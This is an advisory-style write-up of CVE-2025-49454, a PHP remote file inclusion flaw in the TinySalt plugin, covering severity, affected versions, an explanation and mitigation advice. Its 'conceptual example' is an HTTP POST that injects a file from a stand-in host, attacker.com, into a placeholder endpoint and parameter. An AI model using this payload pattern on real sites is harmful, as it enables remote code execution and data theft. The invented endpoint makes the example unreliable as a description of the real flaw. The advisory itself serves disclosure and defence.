Overview
CVE-2025-49454 is a severe cybersecurity vulnerability that centers on an Improper Control of Filename for Include/Require Statement in PHP Program, specifically, a ‘PHP Remote File Inclusion’ vulnerability in the LoftOcean TinySalt plugin. This vulnerability is of significant concern as it allows PHP Local File Inclusion, potentially leading to system compromise or data leakage. Given the widespread use of LoftOcean’s TinySalt, a vast number of systems and applications may be at risk, thus highlighting the urgent need for awareness and mitigation of this issue.
Vulnerability Summary
CVE ID: CVE-2025-49454
Severity: Critical (8.1 CVSS Score)
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: System compromise and potential data leakage
Affected Products
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Product | Affected Versions
TinySalt | Before 3.10.0
How the Exploit Works
The CVE-2025-49454 vulnerability is due to an improper control of the filename for the Include/Require statement in the PHP program of LoftOcean’s TinySalt. This vulnerability allows an attacker to use remote file inclusion, which can lead to local file inclusion. In essence, the attacker can manipulate the PHP code to include files from remote servers. This allows the attacker to execute arbitrary PHP code within the application, leading to potential system compromise and data leakage.
Conceptual Example Code
Below is a conceptual example of how the vulnerability might be exploited. This example uses a simple HTTP POST request to inject malicious PHP code into the TinySalt application.
POST /vulnerable_endpoint.php HTTP/1.1
Host: target.example.com
Content-Type: application/x-www-form-urlencoded
include_path=http://attacker.com/malicious_file.phpIn this example, ‘http://attacker.com/malicious_file.php’ is a PHP file hosted on the attacker’s server. This file contains malicious PHP code which, when included in the application’s code, can lead to system compromise or data leakage.
Mitigation Guidance
To mitigate this vulnerability, it is highly recommended to apply the vendor patch as soon as possible. If the patch cannot be applied immediately, using a Web Application Firewall (WAF) or Intrusion Detection System (IDS) can serve as a temporary mitigation. By configuring these tools to block or alert on attempts to exploit this vulnerability, one can significantly reduce the risk of a successful attack. However, these methods should only be seen as temporary solutions, and updating to a version of TinySalt that isn’t affected by this vulnerability should be a priority.